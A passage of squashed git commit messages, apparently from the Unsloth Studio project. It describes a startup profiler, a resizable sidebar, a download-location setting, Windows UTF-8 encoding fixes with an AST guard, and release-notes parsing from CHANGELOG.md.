models, picker and utils at module scope, and routes/models.py imports
utils.utils and utils.hidden_models. A change to any of those moved
`import main` without ever running this job, so the regressions the
workflow exists to catch went unmeasured.
Cover studio/backend/** (tests excluded) and unsloth_cli/**, since the
launch phase spawns `unsloth studio --api-only` and the CLI is on the
process-to-healthz path.
* Read the labelled main row and kill the Windows launcher tree
total_seconds took by_cum[0], the largest cumulative row in -X importtime
output. That output also carries the interpreter's own startup graph (site,
encodings, whatever a venv sitecustomize pulls in), which is not part of
import main, and the two are not ordered by construction. With a trivial main
the old code reported site's 0.027s as "import main" while main actually cost
0.000249s. Today's backend dwarfs site so the published figures are unchanged,
but the headline number must not silently become another module's cost once
the backend imports get optimized, so read the row named main.
profile_launch spawned Scripts/unsloth.exe on Windows. A pip console-script
.exe is a distlib launcher stub that CreateProcess's the venv python and waits,
so terminate() reaped the stub and left the backend holding the inherited
stdout handle: the reader thread never saw EOF and burned the full 10s join,
and with --repeats each iteration stranded another server on the shared
UNSLOTH_STUDIO_HOME. Walk the tree with taskkill /T, matching the cleanup in
unsloth_cli/commands/start.py and unsloth/dataprep/synthetic.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail the startup budget when nothing was measured and fall back when taskkill fails
* Trigger on installer inputs and harden the startup gate tests
* Tighten comments in the startup profiler and its workflow
* Trigger the startup profile on the Studio setup scripts
install.sh --local runs the checkout's studio/setup.sh, install.ps1 reaches
studio/setup.ps1 through the editable install, and both call
install_python_stack.py, which decides the dependency set that gets imported.
Editing any of them could change startup time with no measurement taken.
* Shorten the startup profiler comments
Comments and docstrings only.
* Reject non-finite startup budgets and profile when the desktop argv changes
--max-healthz-seconds nan or inf parses as a float but compares False against
any median, so the gate reported success without bounding anything. Require a
finite value.
The profiler hardcodes the argv that process.rs::backend_args builds, but that
file was not in the trigger paths, so a change to the desktop launch command
scheduled no measurement. Add it, and anchor the two argv lists with a test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
The nav pills sat at pl-1.5 pr-2, so the gap to the right edge was 8px
against 6px on the left and read as visibly lopsided.
Drops the right inset to pr-1.75 (7px), leaving a 1px difference that no
longer catches the eye. Applied to all six pill containers so every pill
keeps the same width.
* Studio: make the sidebar width draggable
The sidebar was locked at 17.5rem. Long chat titles truncated early with
no way to trade content width for sidebar width.
Adds a drag handle on the sidebar edge. Drag to resize between 264px and
480px (also capped at 40% of the window), click to collapse or expand,
arrow keys to nudge, Home to restore the default. The width persists in
localStorage next to the existing pin flag and syncs across tabs.
Dragging in stops at the minimum rather than collapsing, so an overshoot
while resizing cannot snap the sidebar shut.
The minimum is set by the header: the logo lockup and the search and
collapse buttons need ~258px. The wordmark now truncates instead of
letting the search icon ride over the logo when the UI font scale pushes
the lockup wider.
Resizing relayouts the whole shell, so the live width is painted straight
to the wrapper's custom property once per animation frame instead of on
every pointermove, and only committed to the store on release.
* Studio: address review on the draggable sidebar
Four fixes from the review:
Re-clamp on viewport change. The 40% window cap was only evaluated on
load and on an explicit set, so a stored 480px stayed 480px after the
window narrowed. The store now keeps the preference whole and derives an
effective width from it, recomputed on resize, so narrowing shrinks the
sidebar and widening restores the preference instead of discarding it.
Keep the DOM and the store in step when a drag does not commit. On
pointercancel, and on a collapsed-rail drag that never reached the
minimum, the live width was left painted on the wrapper without being
stored. Since the provider does not re-render, React never rewrote the
property and the next expand could render at the rail's 48px. Drag end
now hands the property back to the committed value; a commit re-renders
with the new width.
Feed the resized width to the custom titlebar. WindowTitlebar sits
outside the sidebar wrapper so it cannot inherit --sidebar-width, and it
was positioning its seam and drag region from a fixed 17.5rem. It reads
the same store now.
Mirror the handle for side="right". Placement, cursor, tooltip side and
the pointer delta all follow the configured side. Measuring the rail from
the sidebar container makes the start width side-agnostic too.
Adds unit tests for the clamp, including the viewport cap and the floor
winning when 40% falls below it.
* Studio: keyboard, aria and titlebar fixes for the sidebar edge
Three more from review, and the handle is extracted so the run settings
panel can reuse it.
Keyboard activation. The handle advertises collapse and expand in its
label, but that only ran from pointer-up, and a button's synthesized
click is swallowed by the tooltip trigger. Enter and Space now toggle,
and the outward arrow reopens a collapsed rail rather than returning
early, so a focused handle is not a dead end.
Announced maximum. aria-valuemax was the absolute 480 even when the 40%
viewport cap put the real limit lower, so a screen reader offered
adjustment that could not happen. The store now exposes the effective
maximum and recomputes it on resize.
Titlebar during a drag. The custom titlebar reads the committed store
value, so its seam sat still while the sidebar moved. The drag now
mirrors the live width onto the root for it to read, and clears it on
release.
The drag mechanics move to PanelResizeHandle and the store to a
createPanelWidthStore factory. Behaviour is unchanged; both exist so the
run settings panel gets the same edge without a second copy.
* Studio: keep the stored width when a drag is viewport-capped
Dragging outward while the 40% cap is active committed the capped value,
so a 480px preference became 320px on a narrow window and never came
back when the window widened again.
The drag now commits what the pointer asked for rather than what was
painted. setWidth still clamps to the absolute range, so a deliberate
inward drag is honoured as before; only the capped case stops writing a
smaller preference than the user chose.
* Studio: review fixes for the panel resize handle
Five more from review.
Stale width after a resize with nothing mounted. With no subscribers
there is no resize listener, so a resize on /login or /onboarding left
the cached width and cap stale, and returning to the app restored the
old width past the viewport cap. The store now recomputes when a
subscriber attaches.
Capped outward drags no longer lower the stored preference. The drag
starts from the effective width, so with 480 stored in a capped window a
small outward pull committed a smaller number and discarded the
preference for good. The commit and the outward arrow now leave it alone
when the panel is already pinned at the cap. A deliberate inward drag
still commits.
Keyboard focus was invisible. The app zeroes the native outline on
buttons, so a tabbed handle showed nothing at all. It now paints its line
on focus-visible and opens the hint.
Collapsed aria. The separator reported 264 as its current value while the
rail renders at 48 and may restore to something else entirely. The range
attributes are dropped when collapsed, leaving the label to describe it.
Localised copy. The tooltip is visible text and was hardcoded English in
all eleven locales. The strings are props now, supplied through the
translation layer, with keys added across every locale.
* Studio: support click activation and fix collapsed role
Two more from review.
Switch and voice control activate a control by dispatching a bare click
with no pointer or key events. Everything here hung off pointer-up or
keydown, so those users could not toggle the panel at all. There is now a
click path, guarded so the click the browser sends after a real pointer
release does not toggle a second time.
The guard is set when any sequence ends, not only on release: a cancelled
drag also ends without a toggle, and its click would otherwise collapse
the panel. The suite caught that on the first attempt.
A focusable separator is an adjustable widget and needs a current value.
Dropping the range attributes while collapsed left an invalid range
control, so it reports as a button when closed and a separator with a
value when open.
* Studio: only suppress the click after a real pointer sequence
endDrag doubles as the effect cleanup, so setting the guard there
unconditionally swallowed the first click from switch or voice control
when no drag had happened. It now only arms after a sequence that
actually started, whether it ended in a release or a cancel.
* Studio: do not arm the click guard on keyboard toggles
preventDefault cancels the native synthesized click, so nothing followed
to guard against and the flag stayed set. The next switch or voice
activation was then read as a duplicate and ignored.
* Make the resize handle click guard self-healing
A canceled drag emits no compatibility click, so the boolean guard stayed
armed and swallowed the next click from a switch or voice control. Record
when the pointer sequence ended instead and ignore only a click that lands
inside the browser's compatibility window.
* Clear the stored sidebar width on preference reset
Reset all local preferences dropped every other UI key but left
sidebar_width, so the reload restored the old width instead of the
default.
* Guard that persisted panel widths stay in the reset list
* Tighten the sidebar header actions and lower the width floor
The search and collapse buttons carried 8px of padding each side of a 16px
icon, so the pair read as one wide block. Narrow them to 28px and close the
gap to 1px, which brings the glyphs from 18px apart to 13px.
That frees room in the header lockup, so the drag floor drops from 264px to
260px. 260 is the narrowest width that leaves the wordmark unclipped in
Firefox, which renders it ~3px wider than Chromium and WebKit.
* Studio: make the model download folder reachable from the Hub, and findable in search
The only control for where models download lived in Settings > System >
Storage, labelled "Model downloads". Settings search matched a row's visible
label only, so "models folder", "directory", "path" and "drive" all returned
nothing, and users concluded the location could not be changed at all.
Hub > On-device locations now leads with a Download location row: current
path, Change (folder browser on web, native picker on desktop), Use default,
free space, and a note when HF_HOME pins it. That dialog is where people
already look for where models live, but it only managed read-only scan
folders. Changing the location refreshes the inventory.
Settings search now also matches per-row keyword aliases, so "folder",
"directory", "path", "location", "drive", "disk" and "cache" find the row.
Relabels it "Models folder" and says it can be moved off the system drive.
Adds the German strings for the block, which fell back to English.
* Re-read the download location on every open, and drop it when the read fails
The dialog stays mounted between opens, so a reopen that hit a failing or slow
GET /api/settings/hugging-face-cache kept showing the previous path with Change
and Use default still enabled, as though it had just been confirmed.
The loaded flag is re-armed on each open and a failed read now clears the
settings, so the field falls back to Unknown and both buttons disable until a
read succeeds.
* Let the inventory version bump be the only refresh after a cache move
updateHuggingFaceCacheSettings already bumps the inventory version, which
re-fetches every source. Calling onInventoryChange as well started a second
round under the previous version, and the differing keys meant the two could not
be deduplicated, so moving the folder scanned everything twice.
The settings Resources tab already relies on the bump alone for the same call.
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
#7578 and #7580 landed within a minute of each other and compose correctly in
kernels/utils.py, but the source-text assertion #7578 added does not: it looked for
the literal "bnb.functional.lib" under the guard, and #7580 renamed that binding to
"bnb_functional.lib" to survive a half-imported bitsandbytes. Git merged both cleanly
because they touch different lines, so the break only shows at test time.
Match "lib.cdequantize_blockwise_fp32" instead. That still pins the binds to the guard,
which is what the test is for, and no longer breaks when the module alias changes.
Co-authored-by: unslothai <unslothai@gmail.com>
* Studio: read model text as utf-8 so umlauts survive on Windows
Chat rejects or mangles non-ASCII on Windows: "ä ö ü" in a prompt, a chat
template, or a model path comes back as mojibake, or the load dies with
UnicodeDecodeError.
open() and Path.read_text() fall back to locale.getencoding() when no encoding
is passed. On Windows that is the ANSI codepage (cp1252, cp932, cp1251, ... by
system locale), never UTF-8. Hugging Face writes these files as raw UTF-8, so
every read of one decodes with the wrong codec:
- tokenizer_config.json, which holds the chat template. Templates routinely
carry -> arrows, smart quotes and CJK, so this is the common path into chat
- config.json and adapter_config.json
- modules.json, Ollama manifests, and the .py sources the remote-code scanner
reads before a model is allowed to load
The llama-server and embedding-server stdout readers have the same problem via
subprocess(text = True); they now decode utf-8 with errors = "replace" so a
stray byte cannot kill a log reader.
Encoding arguments only, no logic changes.
tests/test_chat_text_encoding.py covers a config.json and a chat template
holding umlauts, arrows and CJK, plus the remote-code scanner reading a source
file with umlauts. Those pass anywhere the locale is already UTF-8, so a fourth
test re-runs the readers under -X warn_default_encoding and fails on any
platform if an encoding argument goes missing again.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name utf-8 explicitly on the remaining text I/O, with an AST guard (#7465)
* Studio: name utf-8 explicitly on the remaining text I/O
Follow-up to the model-text reads in #7467, covering the rest of the backend:
system probes (nvidia-smi, amd-smi, powershell, git, node), package installers,
/proc and /sys readers, and internal marker files (pid, install id, bootstrap
password, Colab credentials).
Same reason as #7467. open(), Path.read_text()/write_text() and
subprocess(text = True) fall back to locale.getencoding(), which on Windows is
the ANSI codepage rather than UTF-8. These paths are mostly ASCII today, so this
is hardening, not a live bug. Encoding arguments only, no logic changes.
Adds tests/test_text_io_encoding.py: an AST guard walking every backend source
and asserting text I/O names its encoding, so the class of bug cannot creep back
in one call at a time. 275 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Catch aliased subprocess and positional Path.open, migrate legacy JSONL
The guard only matched a receiver literally named subprocess, so worker.py's
`import subprocess as _sp` hid three text = True installs that decode pip
output with the ANSI codepage. It also skipped any .open() with more than one
positional argument, though Path.open takes buffering/encoding/errors/newline
positionally.
Resuming a scrape written by an older release is the other half: those JSONL
lines are in the locale codepage, so the UTF-8 preload raised, the dedup keys
were silently forgotten and duplicates were appended to a now mixed-encoding
file. Decode with the locale codepage as fallback and rewrite as UTF-8 before
the append handle opens, since Windows cannot replace a file it holds open.
* Stream the JSONL preload and keep a torn line from relabelling the shard
Reading the whole shard to migrate it was wrong twice over. These files reach
gigabytes on a large scrape, so the preload now streams line by line and the
rewrite streams through a temp file.
Worse, one interrupted append used to condemn the file: the whole-file UTF-8
decode failed, every byte was retried as cp1252, and the rewrite persisted
mojibake over records that were fine. A line now counts as legacy only if the
locale codepage both decodes it and yields valid JSON, which a torn UTF-8 line
does not. Damaged lines are skipped and copied through byte for byte.
When the rewrite cannot be written at all, the append handle opens with the
legacy encoding rather than mixing UTF-8 into the file.
install_wheel takes run = subprocess.run as a parameter, so the guard cannot
see it. Both wheel installs there now name their encoding.
* Decide the shard's encoding from the file, not one line at a time
Some byte strings parse both ways. cp1251 `Р°` is D0 B0, which is also valid
UTF-8 for `а`, so a UTF-8-first parse quietly showed the wrong text instead of
migrating it.
A line now yields both readings, and the file decides. Any line that parses
under the codepage but not as UTF-8 is unambiguous evidence, and ambiguous lines
then follow that verdict, which is enough for any real shard: ordinary Cyrillic
or Japanese prose is invalid UTF-8 several times per line. Keys for ambiguous
lines are re-derived from the legacy reading during the rewrite.
A shard is undecidable only if every line is ambiguous, and nothing can tell
those apart.
latin-1 is also tried after the locale codepage, so a scrape carried from
Windows to a UTF-8 machine still has a reading rather than none. Requiring valid
JSON, not just a decode, keeps that from claiming torn lines.
* Weigh the whole shard, and never lose a record on the fallback path
One structurally valid JSON line carrying a stray 0x96 parses as cp1252, so a
single-line verdict let it relabel a healthy shard and mojibake every good
record in it. Each line with non-ASCII bytes now votes: parsing only under the
codepage is evidence for legacy, parsing as UTF-8 is evidence against, since
codepage text rarely forms valid multibyte UTF-8. Ties leave the file alone.
When the migration cannot be written the append handle uses the legacy codepage,
and errors = "replace" quietly turned characters it cannot hold into question
marks while write() still reported success. That path now escapes to \uXXXX
instead, which is ASCII, so every codepage holds it and json.loads returns the
exact characters. Nothing needs replacing, so errors = "strict" is safe.
stream_installer runs sys.executable, so its output is now decoded as UTF-8 by
utf8_child_env rather than read as the ANSI codepage.
* Only rewrite a shard we can attribute, and append ASCII when we cannot
latin-1 was doing too much work. It reads any byte, so it gave a moved shard a
reading, but it is the right text only for cp1252: cp1251 Привет came back as
Ïðèâåò and the rewrite made that permanent. The codepage is now trusted only
when it is the locale's, and an untrusted reading is never written back.
That leaves three cases where the file holds bytes UTF-8 cannot read and we are
not converting it: no codepage to attribute it to, ambiguous lines outvoting the
unambiguous ones, and a preload that could not read the file at all. All three
used to append UTF-8 into it. They now append pure ASCII, which every
ASCII-compatible codepage stores identically, so the file keeps decoding exactly
as it did and no record is lost.
Keys from the two readings are also kept apart. A damaged line in a healthy
shard was marked seen through its codepage reading, so the retry that would have
replaced the unreadable record was refused as a duplicate.
* Let the flash-attn install stub take the kwargs the installer now passes
_run_kwargs gained encoding and errors, so the one stub in this file that
spelled its signature out rejected the call. The other four here already take
**kwargs; this one now matches.
* Do not let a stuck temp file mask the migration failure
unlink() on the failure path could raise in its own right, on a stale
.utf8.tmp directory or a temp another process holds. That escaped the
constructor instead of returning False, so the caller never reached the ASCII
append fallback that keeps the shard single-encoding.
The pip fallback in install_wheel also spawns a Python child, so it gets
utf8_child_env like the probe above it already had. The uv and nvidia-smi
children are native binaries, where PYTHONIOENCODING would do nothing.
* Stop converting legacy shards; the encoding that wrote them is unknowable
trusted only ever meant that the bytes parse under this machine's codepage,
which for a single-byte codepage is nearly always true. A cp1251 shard opened on
a cp1252 Windows box decodes cleanly and would have been rewritten with Привет
as Ïðèâåò. That is the fourth way this rewrite could corrupt a shard, and the
common cause is that a file's encoding cannot be recovered from its bytes.
So the rewrite is gone. The shard is left exactly as found, and appends are pure
ASCII whenever it holds bytes UTF-8 cannot read, which is what actually
delivered the no-mixed-encoding guarantee the rewrite was added for. Dedup keys
still come from whichever reading parses, since ids are ASCII either way.
This also removes the temp file, so there is no longer any file mode or ACL to
carry across.
* Scan the sandbox shim; it is shipped code, not a build artifact
sandbox_site is on the sandboxed child's PYTHONPATH for every Python run
(tools.py:332, 2660), so excluding it let two unannotated text calls through in
code we ship. Both read and write the remap sidecar, which holds file paths.
The exclusion list is meant for build output only, so the directory comes off
it and the two calls name their encoding.
* Force the worker's pip children to UTF-8, and read DBCS keys with a DBCS codec
The three installer calls run sys.executable -m pip with an inherited
environment, so the parent decoded UTF-8 while the child emitted the ANSI
codepage. They now go through utf8_child_env like the other Python children.
Two tests asserted no env kwarg was passed as a stand-in for no HIP flag being
injected. They now assert the flag itself, which is the guarantee they were
written for and does not depend on how the env is delivered.
Separately, latin-1 cannot stand in for a double-byte codepage while recovering
dedup keys: cp932 表 is 95 5C, and the trail byte reads as a JSON backslash, so
the record failed to parse and its id was forgotten, appending a duplicate on
resume. cp932, cp936, cp949 and cp950 are tried too. The reading is still only
ever used for keys, which are ASCII and identical whichever codec parses.
* Require more than one legacy line before trusting its dedup keys
A shard whose valid records are all ASCII casts no UTF-8 votes, so a single
damaged line won the vote by itself, its key was remembered, and the retry that
would have replaced the unreadable record was refused.
One such line is genuinely undecidable: a legacy record with one accented
character and an ASCII record with one stray byte are the same shape. Reading it
as damage costs a duplicate; reading it as legacy loses the record for good.
Only one of those is recoverable, so it is now read as damage.
A real legacy shard has a legacy line for every record carrying an umlaut, so
its dedup is unaffected.
* Append ASCII whenever the shard already holds non-ASCII bytes
The gate asked whether any line was undecodable as UTF-8, which misses a shard
where every legacy line happens to be valid UTF-8 too. A cp1251 shard of Р°
records is bytes D0 B0 throughout, so appending 世界 as UTF-8 left a file where
cp1251 reads the old records correctly and the new one as mojibake, and UTF-8
does the reverse. No single decoding recovered the whole scrape.
The gate is now simply whether the shard holds any non-ASCII byte at all, which
covers both cases and is easier to reason about: if what is already there reads
differently under different encodings, do not add more bytes that do.
Appending ASCII costs only \uXXXX escapes, which json.loads turns back into the
exact characters, and it leaves the new record correct under either reading.
* Skip the two Linux-gated flash-attn tests off Linux
_should_try_runtime_flash_attn_install ends in sys.platform.startswith(
"linux"), and the threshold test one line above already asserts exactly that,
so the two tests that drive _ensure_flash_attn_for_long_context past the gate
cannot pass anywhere else: the call returns before it reports a status. They
were written on Linux and only surface once the suite actually runs on Windows
or macOS, where both fail on an empty status list. This PR is about making the
backend behave on Windows, so its own suite should be runnable there.
* Fail closed when a KFD topology node does not decode
This PR pins that read to utf-8, which turns an undecodable byte into
UnicodeDecodeError. That is a ValueError, not an OSError, so it slips past the
handler one line below and escapes a helper whose docstring promises to fail
closed on any unreadable node. The caller would then lose the whole HIP-order
map on a machine that has AMD GPUs, and the reason the helper fails closed is
that dropping a node shifts every later ordinal and lets a similar-capacity GPU
pass the total-size guard while showing another card's usage.
Widening the handler is the same one-line change main already made in #7487, so
the two agree and the eventual merge is clean.
* Tighten the comments added in this branch
* Treat an undecodable marker and undecodable metadata as malformed, not fatal
Two more places where pinning the decode changed the failure mode. A
UnicodeDecodeError is a ValueError, so neither `except OSError` nor
`except (JSONDecodeError, OSError)` catches it, and both sites had a documented
fallback that stopped being reached.
An undecodable .transport marker used to read as an unknown value, and the
caller then safely purged and restarted the partial download. It now aborts
prepare_cache_for_transport instead, so the transfer fails rather than retrying.
Undecodable .meta.json used to fall back to the file's own name, the same way
invalid JSON does. It now aborts URI construction for the entire unstructured
seed, so one corrupt byte in original_filename takes out the whole dataset.
Both handlers are widened, matching the KFD fix earlier on this branch.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Widen two more decode guards, and pin the kernel installer's pipe
Same shape as the ones already fixed here: the read was pinned to UTF-8 while
the handler around it still only catches OSError, and UnicodeDecodeError is a
ValueError.
hf_cache_snapshot_dir answers whether a model is already on disk, and the
offline embedding checks turn a raise into a 500. A torn refs/main used to
decode into a nonsense commit and miss the snapshot dir; it now skips that cache
root and keeps looking. _remove_pid_file runs first in _graceful_shutdown, so a
corrupt studio.pid raising there abandoned the inference, export, training and
tunnel children the rest of that function exists to kill.
ssm_runtime's source-build path builds its subprocess kwargs in a dict and
splats them through _run_with_heartbeat, so neither the encoding guard nor the
earlier sweep saw the text = True in it: pip's output was still decoded with the
Windows ANSI codepage, where a non-ASCII path or a compiler diagnostic mojibakes
or raises over an install that was going fine. It now pins the same
utf-8/replace pair install_wheel uses, and the HIP branch extends that env
rather than replacing it. The guard learned the dict-literal shape and reddens
on the old code (ssm_runtime.py:253).
* Tighten the comments around the UTF-8 text I/O pins
Collapse the multi-line rationales added with the encoding pins down to a
line or two each, drop what the code already says, and use one wording for
the repeated child-env note.
* Do not let an unreadable bootstrap password stop startup, and narrow the kwargs guard
ensure_default_admin calls _load_bootstrap_password for every existing admin and
the lifespan calls that with no handler, so pinning the decode turned a damaged
or pre-pin .bootstrap_password file into a backend that will not start. We write
that file ourselves in UTF-8, so a byte that will not decode belongs to a file
whose plaintext is worthless anyway; it now reads as no bootstrap password, the
same answer as an absent file. A readable one still loads.
The new kwargs check also judged every dict literal in the tree, so an unrelated
payload carrying "text": True would have been reported as subprocess
configuration with a misleading message, and a dict that fills in its encoding on
a later line would have been reported too. It now only judges a dict that
actually reaches a call, either splatted through a name or written at the call
site, and treats a later kw["encoding"] assignment as satisfying it. The
ssm_runtime shape it was written for is still caught, and a test pins both
directions.
* Stop reading a UTF-8 record a second time
_read_line always parsed the line under the codepage as well, even when it had
already read as UTF-8. Both callers take the UTF-8 reading when there is one and
never look at the other, so on a healthy shard the second parse is pure waste,
and this file reads all of one on every resume of a scrape it expects to reach
gigabytes. Measured on 200,000 records, 76 MB: 1.96s before, 0.81s after, so the
double reading was costing 2.8x.
The early return is limited to a record, since the key lookup deliberately falls
through to the codepage reading when UTF-8 yields something that is not one. A
line UTF-8 cannot read still tries the codepage, latin-1 and the double-byte
encodings as before, which is what the second reading is for.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pin the scanned source fixture's line endings
test_remote_code_scan_reads_non_ascii_sources compared a file's contents against
the string it wrote, but wrote it in text mode, so Windows translated the line
ends on the way out and the read back differed by a carriage return. That is the
writer's doing, not the encoding the test is about, and it was the one failure on
the Windows runner that belonged to this branch. The fixture now writes with
newline = "" so the bytes on disk are the string on every platform.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the newer comments to their point
Shorten the widened-guard and state store notes added since the last pass,
and collapse the line-ending note on the scanned source fixture.
* Read the scraper checkpoint as UTF-8 only, never as a codepage
A checkpoint holds nothing but base64 cursors and booleans, so one written by
an older locale-encoded release is byte-identical to a UTF-8 one and already
reads back. The codepage fallback can therefore only ever contribute non-ASCII:
if a single-byte reading of the file were all ASCII, the UTF-8 read would have
succeeded first.
So the only file it changes the answer for is a damaged one, and there it turns
a safe reset into a resume on a mojibaked cursor. GitHub answers that with
INVALID_CURSOR_ARGUMENTS at HTTP 200, gh_client returns the partial document,
and the scraper reads zero nodes and an empty pageInfo, which marks the stream
done. Every later resume then skips it entirely.
Reading UTF-8 only restores the earlier behaviour of dropping a checkpoint that
will not decode, which re-scrapes from the first page while the writers dedup
the replay. The shard scan below keeps its codepage reading; those records do
carry non-ASCII.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the remaining tilelang install tests to Linux
_tilelang_platform_supported() returns False off Linux, so _ensure_tilelang_backend
returns before the install and the subprocess mock these six assert on is never
called. They fail on macOS runners for that reason alone. The rest of the file
already carries this marker; these were missed.
* Gate the Windows-incompatible worker and ROCm tests
Two different gates, because the production code has two. The causal-conv1d and
flash-linear-attention installers bail out on sys.platform == 'win32' alone and
run everywhere else including macOS, so those cases get not_on_windows; marking
them linux_only would skip tests that legitimately pass off Linux. The DRM and
KFD readers return early unless platform.system() is Linux, and their fixtures
build a fake sysfs tree needing PCI addresses like 0000:00:02.0 as directory
names, which Windows cannot represent, so those get linux_only.
The two visible-utilization cases failed for a different reason: on Windows
get_visible_gpu_utilization takes the AMD adapter branch ahead of the torch
fallback under test, and probing it imports torch, which the runner lacks.
Stubbing that branch empty leaves every other platform unchanged.
* Treat unparseable JSON nesting as a parse failure, and guard os.fdopen
json.loads answers nesting it cannot descend with RecursionError, a
RuntimeError, so _parse let it escape where the catch-all it replaced
discarded the record. Both callers run _parse outside any further handler,
so one damaged checkpoint or shard line aborted the scraper at startup.
The encoding guard also missed os.fdopen, which is open() on a descriptor
and takes the same locale default in text mode. It flags exactly the two
text-mode calls that were left unencoded; the swap lock file's reader was
already pinned to UTF-8 while its writer still used the codepage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Write the non-ASCII source fixture without a 3.10-only argument
Path.write_text() only grew newline in 3.10, and pyproject declares
requires-python >=3.9, so this raised TypeError there. open() takes the same
argument on every supported version and pins the bytes on disk the same way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten encoding comments
* Follow subprocess calls through callable aliases in the encoding guard
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Show release notes in the update popup, sourced from CHANGELOG.md
The update banner only linked out to the online changelog, so there was no
way to see what an update contains before taking it.
Add CHANGELOG.md at the repo root as the source of release notes. Studio
reads it from the default branch, so editing the file updates the popup
without a release or rebuild, and falls back to the copy bundled in the
install when the repo is unreachable.
Notes are matched to one exact version. The popup asks for the version it is
offering and gets that section or nothing, so an older release's notes can
never appear next to a newer update. When there is no match the popup links
out to the online changelog instead.
The collapsed popup previews the top bullets with the leading sentence
highlighted; "Show release notes" expands the full notes in a scrollable
panel. Applies to both the browser and desktop banners, and the desktop
updater's own release body is used when CHANGELOG.md has no matching section.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: fence matching, nested bullets, BOM, updater notes field
Track the opening fence marker and length so a ``` sample inside a ````
block does not close it early and let the sample's heading be indexed as a
real release.
Preserve list indentation in the preview and take only top-level bullets, so
nested detail no longer consumes the four headline slots.
Strip a UTF-8 BOM before parsing. An editor on Windows can leave one on the
first line, which hid a section whose heading started the file.
Read `notes`/`pub_date` from latest.json in the manual Linux updater path,
with aliases for the older `body`/`date`. The workflow publishes Tauri's
field names, so the manual path's release body was always empty. Also loop
the preview tag strip until stable for CodeQL js/incomplete-multi-character
-sanitization; the value renders as text, so this is defence in depth.
* Address review: bare fence closers, HTML comments, underscores, notes URL
A closing fence must carry nothing after the delimiter, so a ```` line with
trailing text inside a ```` block is content rather than the end of it. Both
the parser and the preview extractor follow that rule now.
Skip headings inside HTML comments. A commented-out section is not rendered
by Markdown, so it must not be indexed as a release.
Strip only paired emphasis and park code spans first, so identifiers keep
their underscores: UNSLOTH_DISABLE_UPDATE_CHECK was previewing as
UNSLOTHDISABLEUPDATECHECK.
Prefer the caller's release URL over the API's generic changelog link, so the
desktop fallback points at the release page for the version being offered.
Look at the repo-root CHANGELOG.md before the packaging snapshot, and remove
the snapshot after build.sh, so an edited root file is never shadowed by a
stale copy.
Also nudge the notes container radius from 16px to 14px.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: comparison operators, hidden comments, remote failures
Require a name character after "<" when stripping tags. A bullet reading
"Support Python <3.15 and >3.9" previewed as "Support Python 3.9", because
the operators were consumed as if they were a tag.
Track HTML comments while collecting preview lines. A commented-out bullet
was previewed as a published change even though Markdown never renders it.
Report a remote lookup failure whenever nothing matched. The bundled
changelog cannot know a version newer than the install, so discarding the
error made an offline lookup read as "no notes were published". The hook now
treats a reported failure as its retryable error state.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: code-span delimiters, stale notes, retry past cached failures
Treat an HTML comment delimiter inside inline code as literal. A note reading
"Type `<!--` to begin a comment" put the parser into comment state, so every
release below it was swallowed into the entry above and became unfindable.
Applied to the preview extractor too.
Return no notes while the offered version differs from the fetched one. On
the render where the version changes, the hook still held the previous
release's notes, which the panel would show for a frame.
Let retry bypass a cached remote failure via a refresh flag on the endpoint.
Failures are cached for five minutes, so the visible Retry action could not
recover until the TTL expired. A cached success is still reused, so retries
cannot hammer the remote.
* Address review: CommonMark indentation, desktop release notes link
Allow up to three leading spaces on release headings and fences, and treat
four as indented code. An indented heading was unreachable and its notes were
appended to the release above, while an indented backtick line opened a fence
that swallowed later headings.
Link desktop release notes to the release page for the offered version on
every platform. The existing URL is built only in manual Linux package mode,
so in-app updates on macOS, Windows and AppImage fell back to the generic
changelog. The install button keeps using the manual URL.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: wrapped prose, autolinks, abbreviations in the preview
Accumulate contiguous prose lines into one preview item. A paragraph wrapped
across source lines renders as one block but previewed as three fragments,
which also ate the four-item limit.
Keep Markdown autolinks. <https://example.com/notes> was stripped as if it
were a tag, so "See <https://example.com/notes> for details" previewed as
"See for details".
Do not split the lead sentence at an abbreviation. "Supports several formats,
e.g. GGUF and Safetensors." highlighted only up to "e.g." and dimmed the
actual change; known abbreviations and single initials are skipped now.
* Address review: park code spans first, skip indented code blocks
Park code spans before any other inline transformation. Tags, links, images
and emphasis inside a span are literal, but the strips ran first, so "Use
`<button>` for actions" previewed as "Use for actions".
Skip lines inside an indented code block when collecting bullets. A "- pip
install ..." line in a four-space-indented block became the headline and
pushed out the real prose, though Markdown renders it as code. Continuation
lines of an open bullet are unaffected.
* Studio: skip raw HTML blocks when reading release notes
A <pre>, <script>, <style> or <textarea> block renders literally, so a
sample '## 9.9.9' heading inside one was indexed as a release and cut the
real section's body short. The preview had the same gap and listed sample
bullets as notes.
